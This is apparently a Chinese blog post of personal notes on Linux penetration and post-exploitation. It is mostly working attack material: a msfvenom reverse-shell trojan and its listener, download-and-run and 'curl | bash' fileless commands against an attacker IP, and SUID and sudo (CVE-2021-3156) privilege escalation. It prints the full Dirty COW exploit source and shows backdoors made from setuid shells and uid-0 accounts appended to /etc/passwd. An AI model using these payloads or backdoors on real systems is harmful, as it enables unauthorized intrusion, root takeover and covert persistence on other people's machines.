我的内网渗透-linux

目录

基础渗透

msfvomen木马生成

开启监听

下载运行木马

会话提升

信息搜集

linux提权

suid粘滞位提权

普通用户修改不了密码原因

利用find进行提权

内核提权:脏牛漏洞

步骤:

sudo提权

    影响范围

    漏洞探测

无文件连接

后门植入

第一种

第二种

第三种

linux漏洞库

痕迹清除


基础渗透

msfvomen木马生成

msfvenom -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf -o /var/www/html/linux.elf
#-a 表示架构
#-f 指定输出的格式
#这里不能使用重定向

开启监听

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
setg LHOST 192.168.0.107
setg LPORT 4444
exploit / run

下载运行木马

wget http://192.168.0.107/linux.elf
#直接从网络上下载运行木马
#需要赋予执行权限

#或者

scp /var/www/html/linux.elf 192.168.0.120:/root/
#直接发送到对方的主机 
#需要赋予执行权限

会话提升

python -c "import pty;pty.spawn('/bin/bash')"
#在meterpreter中使用shell命令后,在输入这个命令 就可以进入 [root@localhost ~]# 
#我们本身时什么权限,会话提之后就是什么权限

信息搜集

cat /proc/cpuinfo
#查看cpu信息

cat /var/lib/mysql/mysql/user.MYD       
#mysql密码默认位置路径

cat /etc/passwd		
#普通用户可以查看,内容是账号密码信息(密码放在shadow里)

/sbin/ifconfig -a			 
#查看网络的配置信息

crontab -l				   
#列出计划任务

dpkg -l 						
#查看安装包(根据安装的包的版本找漏洞)
#ubuntu的命令

cat /etc/*release		
#查看发行版信息(centenos和ubuntu都可以)

cat /proc/version	
#查看内核版本的全部信息(都适用)

uname -a 	
#查看内核版本的全部信息(都适用)

linux提权

suid粘滞位提权

普通用户修改不了密码原因

cd 到根目录,可以看到bin是以软连接形式到/usr/bin目录,

lrwxrwxrwx.   1 root root     7 Apr 19 16:05 bin -> usr/bin

在bin目录下查看passwd权限,看到有一个s的特殊权限,普通用户是可以以管理员用户权限来使用这个命令

-rwsr-xr-x. 1 root root      27856 Mar 31  2020 passwd

普通用户查看shadow文件的时候,权限是拒绝的
cat: /etc/shadow: Permission denied

find原来的权限

-rwxr-xr-x. 1 root root 199304 Oct 30  2018 usr/bin/find

find / -perm -u=s -type f 2>/dev/null	
#查找具有suid应用程序(默认以root权限执行的程序 -u=s  粘滞位 4xxx)
#find 	指令
#/ 		根目录(查找位置)
#-perm 	权限
#-u		用户(s=特权)
#-type	类型
#f		文件
#2>/dev/nul	过滤错误信息(不显示错误信息) 

利用find进行提权

find /etc/passwd -exec whoami \;  
#找到文件,执行whoami命令。
#执行这一条命令,执行结果只显示后面的命令

chmod u+s /bin/find 
#给find加上特殊权限s(让使用find命令的用户可以以普通用户的身份去拥有等同于root用户使用find的权限)

find /etc/passwd -exec cat /etc/shadow \;
#使用这个语句可以让普通用户访问shadow文件

内核提权:脏牛漏洞

脚本网址

https://github.com/FireFart/dirtycow/blob/master/dirty.c

可以两种形式下载该脚本文件:

        ①直接用windows访问网站下载下来进行查看文件,然后把文件拷贝内容到目标主机进行创建c语言文件(比较好用)

        ②直接用wget进行下载

脏牛的c语言文件内容

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

步骤:

    1.上传脏牛到靶机
    2.对脏牛漏洞进行编译:

gcc -pthread dirty.c -o dirty -lcrypt
#对c语言文件进行编译
#可能不存在gcc,没有的话就对其下载  yum -y install gcc
#直接复制粘贴脚本文件,可能在开头缺少东西会报错。在虚拟机粘贴都是可能存在报错的,我用wsl中的centenos7进行编译就没问题了


    3.使用漏洞

chmod u+x dirty
#赋予编译完的脏牛脚本可执行权限。如果不能赋予权限报错的话,那么可以切换到家目录下面进行权限修改

./dirty 
#运行编译完的文件

########################
运行成功的样子 
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 

#默认用户是firefart


########################
攻击完成的样子
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'Aa123456'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd





########################
攻击完成没有创建用户成功说明
此内核漏洞与2017就被修复,除非是2017至今天没有更新过的系统才存在此漏洞






    4.换源/etc/passwd
    mv /tmp/passwd.bak /etc/passwd

sudo提权

    影响范围

        Sudo 1.8.2 - 1.8.31p2
        Sudo 1.9.0 - 1.9.5p1

    漏洞探测

sudo -V
#查看当前系统版本是否在影响范围

  用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令,
        若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
        不受影响的系统将显示以“ usage:”开头的错误响应。
    poc地址: https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
    利用
        get https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
        tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
        cd CVE-2021-3156
        chmod u+x *
        make
        ./sudo-hax-me-a-sandwich 0

无文件连接

wget -qO - http://IP/file | bash
curl http://IP/file | bash

后门植入

第一种

复制/bin/bash到任意文件夹,然后以普通用户的权限去运行复制出来的文件,从而得到管理员权限

cp /bin/bash /tmp/shell
#复制/bin/bash到/tmp/shell文件中

chmod u+s /tmp/shell
#赋予shell特殊权限s

./shell -p
#运行shell得到权限。
#没加-p就只是普通用户权限

第二种

利用脚本进行提权

①创建一个c语言脚本文件

#include <stdlib.h>
main(){
	setuid(0);
	system("/bin/bash");
}

②编译脚本文件

gcc shell.c -o shell

③给脚本文件运行权限以及特殊权限s

chmod 4777 shell

④隐藏文件到其他比较唬人的文件夹

mv /tmp/shell /usr

⑤切换成普通用户,运行该文件就可以得到管理员权限

./shell 

第三种

/etc/passwd后门

第①种

在复制passwd中的root用户的那一行内容到文件中间或者后面,家目录不与root相同。相当于新建了一个uid为0的用户,还是比较容易发现的。

test:x:0:0:root:/test:/bin/bash
#可以直接切换到test用户,具有管理员权限

第②种

相当于创建一个与root用户共用家目录的用户

openssl passwd 密码
#生成有效密码(就是passwd中加密过后的密码)

echo ssdbb:PUvXtuNOGSUBc:0:0:TEST:/root:/bin/bash >> /etc/passwd
#创建一个与root用户共用家目录的用户。登陆该账号之后,显示的用户还是root。
#登陆样子 [root@localhost qita]# 

注意:只要将用户的uid和家目录改成一样的,登陆进去就是你所修改的用户

linux漏洞库

    https://github.com/qazbnm456/awesome-cve-poc
    https://github.com/SecWiki/linux-kernel-exploits

痕迹清除

https://download.csdn.net/download/h1825819493/87918551

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

偷吃"游"的阿彪

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值